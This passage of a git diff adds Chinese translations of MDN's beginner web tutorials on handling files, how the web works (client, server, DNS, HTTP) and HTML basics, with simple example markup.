服务器,还有编程语言处理空格的方式不一致。比如,一些系统会将包含空格的文件名其视为两个。一些服务器将会把文件名里的空格替换为 “%20”(URI 里空格的编码),从而使链接遭到破坏。最好使用中划线,而不是下划线来分离单词:对比 <code>my-file.html</code> 和 <code>my_file.html</code> 。</li> +</ol> + +<p>简言之,文件名中应使用连字符。谷歌搜索引擎把连字符当作单词的分隔符, 但不会识别下划线。基于此,最好在一开始就养成习惯,文件夹和文件名使用小写,用短横线而不是空格来分隔。可以避免许多问题。</p> + +<h2 id="网站应该使用什么结构?">网站应该使用什么结构?</h2> + +<p>下面来看看测试网站应该使用什么结构。最基本、最常见的结构是:一个主页、一个图片文件夹、一个样式表文件夹和一个脚本文件夹:</p> + +<ol> + <li><code><strong>index.html</strong></code> :这个文件一般包含主页内容,即用户第一次访问站点时看到的文本和图像。使用文本编辑器在 <code>test-site</code> 文件夹中新建 <code>index.html</code>。</li> + <li><strong><code>images</code> 文件夹 </strong>:这个文件夹包含站点中的所有图像。在 <code>test-site</code> 文件夹中新建 <code>images</code> 文件夹。</li> + <li><strong><code>styles</code> 文件夹 </strong>:这个文件夹包含站点所需样式表(比如,设置文本颜色和背景颜色)。在 <code>test-site</code> 文件夹中新建一个 <code>styles</code> 文件夹。</li> + <li><strong><code>scripts</code> 文件夹 </strong>:这个文件夹包含提供站点交互功能的 JavaScript 代码(比如读取数据的按钮)。在 <code>test-site</code> 文件夹中新建一个 <code>scripts</code> 文件夹。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>Windows 中查看完整文件名有点小麻烦,因为 Windows 默认开启“<strong>隐藏已知文件类型扩展名</strong>”选项。在 Windows 8/10 中,可以打开资源管理器,选择“<strong>查看</strong>”选项卡,在“<strong>显示/隐藏</strong>”列中,选中“<strong>文件扩展名</strong>”复选框。其它 Windows 版本操作方法可在网上搜索。</p> +</div> + +<h2 id="文件路径">文件路径</h2> + +<p>为使文件间正常交互,应为每个文件提供访问路径,让一个文件知道另一个文件的位置。作为演示,我们在 <code>index.html</code> 文件中插入一小段 HTML,让其显示 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站外观</a> 小节中的火狐图案。</p> + +<ol> + <li>将火狐图案保存到 <code>images</code> 文件夹。</li> + <li>打开 <code>index.html</code> 文件,粘贴以下代码。现在看不懂不用担心,以后会慢慢讲解。 + <pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>我的测试页面</title> + </head> + <body> + <img src="" alt="我的测试页面"> + </body> +</html> </pre> + </li> + <li><code><img src="" alt="我的测试页面"></code> 是在页面里插入图像的 HTML 代码。我们需要告诉 HTML 图像的位置。这张图片在<em> images </em>目录下<em>,</em>而<em> images </em>目录与 <code>index.html</code> 处于同级目录。要从 <code>index.html</code> 所处一级目录进入图片所在目录,所需的文件路径是 <code>images/image-filename.png</code> 。例如,这里的图像叫做 <code>firefox-icon.png</code> ,所以文件路径就是 <code>images/firefox-icon.png</code> 。</li> + <li>在 HTML 代码里 <code>src=""</code> 的双引号中插入文件路径。</li> + <li>保存 HTML 文件,然后使用浏览器打开(双击文件)。火狐图案显示出来了!</li> +</ol> + +<p><img alt="基础网页截图,FireFox 标志:一只盘旋在地球上的火狐" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p> + +<p>文件路径的一些通用规则:</p> + +<ul> + <li>若引用的目标文件与 HTML 文件同级,只需直接使用文件名,比如 <code>my-image.jpg</code> 。</li> + <li>要引用子文件夹中的文件,要在路径前写下目录名并加一个斜杠,比如 <code>subdirectory/my-image.jpg</code> 。</li> + <li>若引用的目标文件位于 HTML 文件的<strong>上级</strong>,需要加上两个点。比如,如果 <code>index.html</code> 在 <code>test-site</code> 下面的一个子目录而 <code>my-image.png</code> 在 <code>test-site</code> 目录,你可以在 <code>index.html</code> 里使用 <code>../my-image.png</code> 引用 <code>my-image.png</code> 。</li> + <li>以上方法可以随意组合,比如 <code>../subdirectory/another-subdirectory/my-image.png</code>。</li> +</ul> + +<div class="note"><strong>注:</strong>Windows 文件系统使用反斜杠而不是正斜杠,比如 <code>C:\Windows</code> 。但与 HTML 没什么关系,即使在 Windows 上做 Web 开发,代码中仍应使用正斜杠。</div> + +<p>大功告成。现在站点文件夹结构应该类似于:</p> + +<p><img alt="macOS 访达呈现的文件夹结构,包含1个图像文件夹(包含1幅图案)、1个样式表文件夹、1个脚本文件夹、1个主页" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 工作机制</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/zh-cn/learn/getting_started_with_the_web/how_the_web_works/index.html new file mode 100644 index 0000000000..ef28b3aa6e --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -0,0 +1,122 @@ +--- +title: 万维网是如何工作的 +slug: Learn/Getting_started_with_the_web/How_the_Web_works +tags: + - DNS + - HTTP + - IP + - TCP + - 初学者 + - 基础 + - 客户端 + - 服务器 + - 起步 +translation_of: Learn/Getting_started_with_the_web/How_the_Web_works +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>这篇文章简单描述了你在计算机或手机上通过浏览器访问网页时发生了什么。</p> +</div> + +<p>这个理论在短期内对你编写网页代码不会有实质性的帮助,但是不久之后你就会真正受益于理解了后台究竟发生了什么。</p> + +<h2 id="客户端和服务器">客户端和服务器</h2> + +<p>连接到互联网的计算机被称作客户端和服务器。下面是一个简单描述它们如何交互的图表:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8973/Client-server.jpg" style="height: 123px; width: 336px;"></p> + +<ul> + <li>客户端是典型的Web用户入网设备(比如,你连接了Wi-Fi的电脑,或接入移动网络的手机)和设备上可联网的软件(通常使用像 Firefox 和 Chrome的浏览器)。</li> + <li>服务器是存储网页,站点和应用的计算机。当一个客户端设备想要获取一个网页时,一份网页的拷贝将从服务器上下载到客户端机器上来在用户浏览器上显示。</li> +</ul> + +<h2 id="其他部分">其他部分</h2> + +<p>我们讲的客户端和服务器并不能完成全部工作。还有其他必要的部分,我们将在下面讲述。</p> + +<p>现在,让我们假设 Web 就是一条路。路的一端是客户端,就像你的家。另一端则是服务器,就像你想去的商店。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p> + +<p>除了客户端和服务器,我们还需要了解:</p> + +<div class="blockIndicator note"> +<p>我感觉下面的比喻还不是很契合。我感觉再合理一点的比喻:</p> + +<p>假如你生活在一个封闭的村子叫做“盘溪新村”,村子盛产苹果。</p> + +<p>互联网:好比地球上众横交错的道路。</p> + +<p>网络连接:道路通到了村子路口。从此,村子里的苹果就可以运出去卖了。</p> + +<p>TCP/IP:为了将村里的苹果能规范有效的运卖出去而不出问题,村长作出如下规定:“用规格刚好20cm*20cm*20cm的泡沫箱来装,之后外面又用相应规格的纸箱包裹上,最后打上透明胶”。并且要求,对方收到时,一定要外包装完好,不然就会补发。而且还给对方发了一张发货单,明确说明了,苹果有多少,是用什么方法包装的,只有货和发货单对上了,对方才会确认收货。</p> + +<p>DNS:突然一天,郭德纲想吃苹果,就跟于谦说,“我听说盘溪新村(域名)的苹果好,要他们那个套餐一选项啊!”,于谦一听,得,也不知道盘溪新村在哪,打开地图查(DNS)吧,一查,好嘛,江苏省苏州市(ip地址),于是于谦去了苏州,找了村子,告诉村长,要套餐一,要用顺丰快递,并且留下了北京德云社的地址。</p> + +<p>HTTP:过了几天,德云社的人一看,有快递来了,来了这么一句,“只收‘顺丰’,拒收其他快递”。司机忙说,“是顺丰,是顺丰”,这才对上暗号,德云社的人收下了货。</p> + +<p>组成文件:送来的货可不止一车,而且也不止一种苹果,这车是红富士,那车黄富士的。</p> + +<p> -代码:有点像,村长事先安排的说明书,让司机到了地方,如何缷车,货放到 什么位置,而德云社的看说明书,知道什么样的苹果放到什么位置上, 什么样苹果如何食用最佳,等等。</p> + +<p> -资源:不同种类的苹果。</p> + +<p>一点拙见,在下抛砖引玉,希望有更好理解的比喻。</p> +</div> + +<ul> + <li><strong>网络连接</strong>: 允许你在互联网上发送和接受数据。基本上和你家到商店的街道差不多。</li> + <li><strong>TCP/IP</strong>: 传输控制协议和因特网<span class="lemmaTitleH1" style="display: inline; height: auto; padding-bottom: 5px;">互连协议是定义数据如何传输的通信协议。这就像你去商店购物所使用的交通方式,比如汽车或自行车(或是你能想到的其他可能)。</span></li> + <li><strong>DNS</strong>: 域名系统服务器像是一本网站通讯录。当你在浏览器内输入一个网址时,浏览器获取网页之前将会查看域名系统。浏览器需要找到存放你想要的网页的服务器,才能发送 HTTP 请求到正确的地方。就像你要知道商店的地址才能到达那。</li> + <li><strong>HTTP</strong>: 超文本传输协议是一个定义客户端和服务器间交流的语言的协议({{Glossary("Protocol" , "protocol")}} )。就像你下订单时所说的话一样。</li> + <li><strong>组成文件</strong>: 一个网页由许多文件组成,就像商店里不同的商品一样。这些文件有两种类型: + <ul> + <li><strong>代码 </strong>: 网页大体由 HTML、CSS、JavaScript组成,不过你会在后面看到不同的技术。</li> + <li><strong>资源 </strong>: 这是其他组成网页的东西的集合,比如图像、音乐、视频、Word文档、PDF文件。</li> + </ul> + </li> +</ul> + +<h2 id="到底发生了什么?">到底发生了什么?</h2> + +<p>当你在浏览器里输入一个网址时(在我们的例子里就是走向商店的路上时):</p> + +<ol> + <li>浏览器在域名系统(DNS)服务器上找出存放网页的服务器的实际地址(找出商店的位置)。</li> + <li>浏览器发送 HTTP 请求信息到服务器来请拷贝一份网页到客户端(你走到商店并下订单)。这条消息,包括其他所有在客户端和服务器之间传递的数据都是通过互联网使用 TCP/IP 协议传输的。</li> + <li>服务器同意客户端的请求后,会返回一个“200 OK”信息,意味着“你可以查看这个网页,给你~”,然后开始将网页的文件以数据包的形式传输到浏览器(商店给你商品,你将商品带回家)。</li> + <li>浏览器将数据包聚集成完整的网页然后将网页呈现给你(商品到了你的门口 —— 新东西,好棒!)。</li> +</ol> + +<h2 id="DNS解析">DNS解析</h2> + +<p>真正的网址看上去并不像你输入到地址框中的那样美好且容易记忆。它们是一串数字,像 <span style="line-height: 19.0909080505371px;">63.245.217.105。</span></p> + +<p>这叫做 IP 地址,它代表了一个互联网上独特的位置。然而,它并不容易记忆,不是吗?那就是域名系统(DNS)被发明的原因。它们是将你输入浏览器的地址(像<span style="line-height: 19.0909080505371px;"> "mozilla.org"</span>)与实际 IP 地址相匹配的特殊的服务器。</p> + +<p>网页可以通过 {{Glossary("IP Address", "IP地址")}}直接访问。您可以通过在 <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a> 等工具中输入域名来查找网站的IP地址。</p> + +<p><img alt="A domain name is just another form of an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p> + +<h2 id="数据包详解">数据包详解</h2> + +<p>前面我们用“包”来描述了数据从服务器到客户端传输的格式。这是什么意思?基本上,当数据在Web上传输时,是以成千上万的小数据块的形式传输的。大量不同的用户都可以同时下载同一个网页。如果网页以单个大的数据块形式传输,一次就只有一个用户下载,无疑会让Web非常没有效率并且失去很多乐趣。</p> + +<h2 id="扩展阅读">扩展阅读</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/How_the_Internet_works">互联网是如何工作的</a></li> + <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — 一种应用级协议</a></li> + <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: 让我们开始吧!</a></li> + <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: 响应代码</a></li> +</ul> + +<h2 id="感谢">感谢</h2> + +<p>街景照片 : <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, by <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p> + +<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> diff --git a/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.html b/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.html new file mode 100644 index 0000000000..bb61ab0dd1 --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.html @@ -0,0 +1,238 @@ +--- +title: HTML 基础 +slug: Learn/Getting_started_with_the_web/HTML_basics +tags: + - HTML + - Web + - 初学者 + - 学习 +translation_of: Learn/Getting_started_with_the_web/HTML_basics +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>超文本标记语言 (英语:<strong>H</strong>yper<strong>t</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage,简称:HTML ) 是一种用来结构化 Web 网页及其内容的标记语言。网页内容可以是:一组段落、一个重点信息列表、也可以含有图片和数据表。正如标题所示,本文将对 HTML 及其功能做一个基本介绍。</p> +</div> + +<h2 id="HTML_到底是什么?">HTML 到底是什么?</h2> + +<p>HTML 不是一门编程语言,而是一种用于定义内容结构的<em>标记语言</em>。HTML 由一系列的<strong>元素({{Glossary("element", "elements")}})</strong>组成,这些元素可以用来包围不同部分的内容,使其以某种方式呈现或者工作。 一对标签( {{Glossary("tag", "tags")}})可以为一段文字或者一张图片添加超链接,将文字设置为斜体,改变字号,等等。 例如,键入下面一行内容:</p> + +<pre class="notranslate">我的猫非常脾气暴躁 +</pre> + +<p>可以将这行文字封装成一个段落(<strong>p</strong>aragraph)元素来使其在单独一行呈现:</p> + +<pre class="brush: html notranslate"><p>我的猫非常脾气暴躁</p></pre> + +<h3 id="HTML_元素详解">HTML 元素详解</h3> + +<p>让我们深入探索一下这个段落元素。</p> + +<p><img alt="HTML 元素" src="https://mdn.mozillademos.org/files/16475/element.png" style="display: block; margin: 0px auto;"></p> + +<p>这个元素的主要部分有:</p> + +<ol> + <li><strong>开始标签</strong>(Opening tag):包含元素的名称(本例为 p),被大于号、小于号所包围。表示元素从这里开始或者开始起作用 —— 在本例中即段落由此开始。</li> + <li><strong>结束标签</strong>(Closing tag):与开始标签相似,只是其在元素名之前包含了一个斜杠。这表示着元素的结尾 —— 在本例中即段落在此结束。初学者常常会犯忘记包含结束标签的错误,这可能会产生一些奇怪的结果。</li> + <li><strong>内容</strong>(Content):元素的内容,本例中就是所输入的文本本身。</li> + <li><strong>元素</strong>(Element):开始标签、结束标签与内容相结合,便是一个完整的元素。</li> +</ol> + +<p>元素也可以有属性(Attribute):</p> + +<p><img alt="HTML 属性" src="https://mdn.mozillademos.org/files/16476/attribute.png" style="display: block; margin: 0px auto;"></p> + +<p>属性包含了关于元素的一些额外信息,这些信息本身不应显现在内容中。本例中,<code>class</code> 是属性名称,<code>editor-note</code> 是属性的值 。<code>class</code> 属性可为元素提供一个标识名称,以便进一步为元素指定样式或进行其他操作时使用。</p> + +<p>属性应该包含:</p> + +<ol> + <li>在属性与元素名称(或上一个属性,如果有超过一个属性的话)之间的空格符。</li> + <li>属性的名称,并接上一个等号。</li> + <li>由引号所包围的属性值。</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>注:</strong>不包含 ASCII 空格(以及 <code>"</code> <code>'</code> <code>`</code> <code>=</code> <code><</code> <code>></code> )的简单属性值可以不使用引号,但是建议将所有属性值用引号括起来,这样的代码一致性更佳,更易于阅读。</p> +</div> + +<h3 id="嵌套元素">嵌套元素</h3> + +<p>也可以将一个元素置于其他元素之中 —— 称作<strong>嵌套</strong>。要表明猫咪非常暴躁,可以将 “暴躁” 用 {{htmlelement("strong")}} 元素包围,爆字将突出显示:</p> + +<pre class="brush: html notranslate"><p>我的猫咪脾气<strong>暴躁</strong>:)</p></pre> + +<p>必须保证元素嵌套次序正确:本例首先使用 {{htmlelement("p")}} 标签,然后是 {{htmlelement("strong")}} 标签,因此要先结束 {{htmlelement("strong")}} 标签,最后再结束 {{htmlelement("p")}} 标签。这样是不对的:</p> + +<pre class="example-bad brush: html notranslate"><p>我的猫咪脾气<strong>暴躁</p></strong></pre> + +<p>元素必须正确地开始和结束,才能清楚地显示出正确的嵌套层次。否则浏览器就得自己猜测,虽然它会竭尽全力,但很大程度不会给你期望的结果。所以一定要避免!</p> + +<h3 id="空元素">空元素</h3> + +<p>不包含任何内容的元素称为空元素。比如 {{htmlelement("img")}} 元素:</p> + +<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="测试图片"></pre> + +<p>本元素包含两个属性,但是并没有 <code></img></code> 结束标签,元素里也没有内容。这是因为图像元素不需要通过内容来产生效果,它的作用是向其所在的位置嵌入一个图像。</p> + +<h3 id="HTML_文档详解">HTML 文档详解</h3> + +<p>以上介绍了一些基本的 HTML 元素,但孤木不成林。现在来看看单个元素如何彼此协同构成一个完整的 HTML 页面。回顾 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a> 小节中创建的 <code>index.html</code> 示例:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>测试页面</title> + </head> + <body> + <img src="images/firefox-icon.png" alt="测试图片"> + </body> +</html></pre> + +<p>这里有:</p> + +<ul> + <li><code><!DOCTYPE html></code> — 文档类型。混沌初分,HTML 尚在襁褓(大约是 1991/92 年)之时,<code>DOCTYPE</code> 用来链接一些 HTML 编写守则,比如自动查错之类。<code>DOCTYPE</code> 在当今作用有限,仅用于保证文档正常读取。现在知道这些就足够了。</li> + <li><code><html></html></code> — {{htmlelement("html")}} 元素。该元素包含整个页面的内容,也称作根元素。</li> + <li><code><head></head></code> — {{htmlelement("head")}} 元素。该元素的内容对用户不可见,其中包含例如面向搜索引擎的搜索关键字({{Glossary("keyword", "keywords")}})、页面描述、CSS 样式表和字符编码声明等。</li> + <li><code><meta charset="utf-8"></code> — 该元素指定文档使用 UTF-8 字符编码 ,UTF-8 包括绝大多数人类已知语言的字符。基本上 UTF-8 可以处理任何文本内容,还可以避免以后出现某些问题,没有理由再选用其他编码。</li> + <li><code><title></title></code> — {{htmlelement("title")}} 元素。该元素设置页面的标题,显示在浏览器标签页上,也作为收藏网页的描述文字。</li> + <li><code><body></body></code> — {{htmlelement("body")}} 元素。该元素包含期望让用户在访问页面时看到的内容,包括文本、图像、视频、游戏、可播放的音轨或其他内容。</li> +</ul> + +<h2 id="图像">图像</h2> + +<p>重温一下 {{htmlelement("img")}} 元素:</p> + +<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="测试图片"></pre> + +<p>像之前所讲,该元素通过包含图像文件路径的地址属性 <code>src</code>,可在所在位置嵌入图像。</p> + +<p>该元素还包括一个替换文字属性 <code>alt</code>,是图像的描述内容,用于当图像不能被用户看见时显示,不可见的原因可能是:</p> + +<ol> + <li>用户有视觉障碍。视障用户可以使用屏幕阅读器来朗读 <code>alt</code> 属性的内容。</li> + <li>有些错误使图像无法显示。可以试着故意将 <code>src</code> 属性里的路径改错。保存并刷新页面就可以在图像位置看到:</li> +</ol> + +<p><img alt="图片内容为文字“测试图片”" src="https://mdn.mozillademos.org/files/16477/test.png" style="display: block; height: 42px; margin: 0px auto; width: 100px;"></p> + +<p><code>alt</code> 属性的关键字即“描述文本”。<code>alt</code> 文本应向用户完整地传递图像要表达的意思。用 "测试图片" 来描述 Firefox 标志并不合适,修改成 "Firefox 标志:一只盘旋在地球上的火狐" 就好多了。</p> + +<p>可以试着为图像编写一些更好的 <code>alt</code> 文本。</p> + +<div class="note"> +<p><strong>注:</strong>更多信息请参阅 <a href="/zh-CN/docs/learn/Accessibility">无障碍访问</a>。</p> +</div> + +<h2 id="标记文本">标记文本</h2> + +<p>本段包含了一些最常用的文本标记 HTML 元素。</p> + +<h3 id="标题(Heading)">标题(Heading)</h3> + +<p>标题元素可用于指定内容的标题和子标题。就像一本书的书名、每章的大标题、小标题,等。HTML 文档也是一样。HTML 包括六个级别的标题, {{htmlelement("h1")}}–{{htmlelement("h6")}} ,一般最多用到 3-4 级标题。</p> + +<pre class="brush: html notranslate"><h1>主标题</h1> +<h2>顶层标题</h2> +<h3>子标题</h3> +<h4>次子标题</h4></pre> + +<p>可以尝试在 {{htmlelement("img")}} 元素上面添加一个合适的标题。</p> + +<div class="blockIndicator note"> +<p>注:可以发现 MDN 网站上 第一级标题的主题是隐藏的。不要使用标题元素来加大、加粗字体,因为标题对于 <a href="/zh-CN/docs/learn/Accessibility">无障碍访问</a> 和 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#为什么我们需要结构化">搜索引擎优化</a> 等问题非常有意义。要保持页面结构清晰,标题整洁,不要发生标题级别跳跃。</p> +</div> + +<h3 id="段落(Paragraph)">段落(Paragraph)</h3> + +<p>如上文所讲,{{htmlelement("p")}} 元素是用来指定段落的。通常用于指定常规的文本内容:</p> + +<pre class="brush: html notranslate"><p>这是一个段落</p></pre> + +<p>试着添加一些文本(在 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站的外观</a> 小节)到一个或几个段落中,并把它们放在你的 {{htmlelement("img")}} 元素下方。</p> + +<h3 id="列表(List)">列表(List)</h3> + +<p>Web 上的许多内容都是列表,HTML 有一些特别的列表元素。标记列表通常包括至少两个元素。最常用的列表类型为:</p> + +<ol> + <li><strong>无序列表(Unordered List)</strong>中项目的顺序并不重要,就像购物列表。用一个 {{htmlelement("ul")}} 元素包围。</li> + <li><strong>有序列表(Ordered List)</strong>中项目的顺序很重要,就像烹调指南。用一个 {{htmlelement("ol")}} 元素包围。</li> +</ol> + +<p>列表的每个项目用一个列表项目(List Item)元素 {{htmlelement("li")}} 包围。</p> + +<p>比如,要将下面的段落片段改成一个列表:</p> + +<pre class="brush: html notranslate"><p>Mozilla 是一个全球社区,这里聚集着来自五湖四海的技术人员、思考者和建造者,我们致力于……</p></pre> + +<p>可以这样更改标记:</p> + +<pre class="brush: html notranslate"><p>Mozilla 是一个全球社区,这里聚集着来自五湖四海的</p> + +<ul> + <li>技术人员</li> + <li>思考者</li> + <li>建造者</li> +</ul> + +<p>我们致力于……</p></pre> + +<p>试着在示例页面中添加一个有序列表和无序列表。</p> + +<h2 id="链接">链接</h2> + +<p>链接非常重要 — 它们赋予 Web 网络属性。要植入一个链接,我们需要使用一个简单的元素 — {{htmlelement("a")}} — a 是 "anchor" (锚)的缩写。要将一些文本添加到链接中,只需如下几步:</p> + +<ol> + <li>选择一些文本。比如 “Mozilla 宣言”。</li> + <li>将文本包含在 {{htmlelement("a")}} 元素内,就像这样: + <pre class="brush: html notranslate"><a>Mozilla 宣言</a></pre> + </li> + <li>为此 {{htmlelement("a")}} 元素添加一个 <code>href</code> 属性,就像这样: + <pre class="brush: html notranslate"><a href="">Mozilla 宣言</a></pre> + </li> + <li>把属性的值设置为所需网址: + <pre class="brush: html notranslate"><a href="https://www.mozilla.org/zh-CN/about/manifesto/">Mozilla 宣言</a></pre> + </li> +</ol> + +<p>如果网址开始部分省略了 <code>https://</code> 或者 <code>http://</code>,可能会得到错误的结果。在完成一个链接后,可以试着点击它来确保指向正确。</p> + +<div class="note"> +<p><code>href</code> 这个名字可能开始看起来有点令人费解,代表超文本引用( <strong>h</strong>ypertext <strong>ref</strong>erence)。</p> +</div> + +<p>现在就为页面添加一个链接吧。</p> + +<h2 id="小结">小结</h2> + +<p>如果你一直跟着这篇文章里的指导做的话,你应该完成了一个像下面这样的页面。(你也可以 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/extras/getting-started-web/beginner-html-site/">从这查看</a>):<br> + <br> + <img alt="" src="https://mdn.mozillademos.org/files/16478/mozilla.png" style="display: block; margin: 0px auto;"></p> + +<p>如果你遇到困难,你可以将 Github 上的 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/tree/master/extras/getting-started-web/beginner-html-site"> 完整示例代码</a> 上与你的文件进行比较。</p> + +<p>在这里,我们只是介绍了一点点 HTML。要学习更多,访问我们的 <a href="/zh-CN/Learn/HTML">HTML 学习主题页面</a> 。</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站的外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 是如何运作的</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/index.html b/files/zh-cn/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..6b4f5ef77e --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/index.html @@ -0,0 +1,64 @@ +--- +title: Web 入门 +slug: Learn/Getting_started_with_the_web +tags: + - 主页 + - 发布 + - 层叠样式表 + - 指南 + - 新手 + - 理论 + - 设计 + - 超文本标记语言 +translation_of: Learn/Getting_started_with_the_web +--- +<div>{{LearnSidebar}}</div> + +<div class="summary"> +<p><strong>Web 入门</strong>是一门介绍 Web 开发实用性的简洁系列课程。在这里你将学会如何设置构建简单网页所需的工具并发布你自己的简易代码。</p> +</div> + +<h2 id="建立你的第一个网站">建立你的第一个网站</h2> + +<p>构建一个专业的网站需要大量的工作,所以如果你是新手,我们鼓励你从小事做起。你不会直接建立另一个 Facebook,但建立一个个人的简单在线网站并不难,所以让我们从这里开始吧。</p> + +<p>通过按顺序阅读下面列出的文章,你将逐渐建立好你自己的第一个在线网站。让我们开始吧!</p> + +<h3 id="安装基础软件"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></h3> + +<p>当提到建站工具的时候,网上有着一大堆工具可供选择。如果你才刚刚起步,你可能会在各种各样的代码编辑器、框架以及测试工具中困惑不已。 在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>中我们将一步一步地展示如何安装一些你所需要的基础 Web 开发软件。</p> + +<h3 id="你的网站看起来是什么样的?"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">你的网站看起来是什么样的?</a></h3> + +<p>在开始为你的网站写代码之前,你应该先做好规划。你将展示什么信息?你将使用什么样的字体和颜色?在<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">你的网站看起来是什么样的?</a>这一块中我们简要讲述了一个简单的方法,你可以根据这个方法来设计和规划网站的内容。</p> + +<h3 id="文件处理"><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a></h3> + 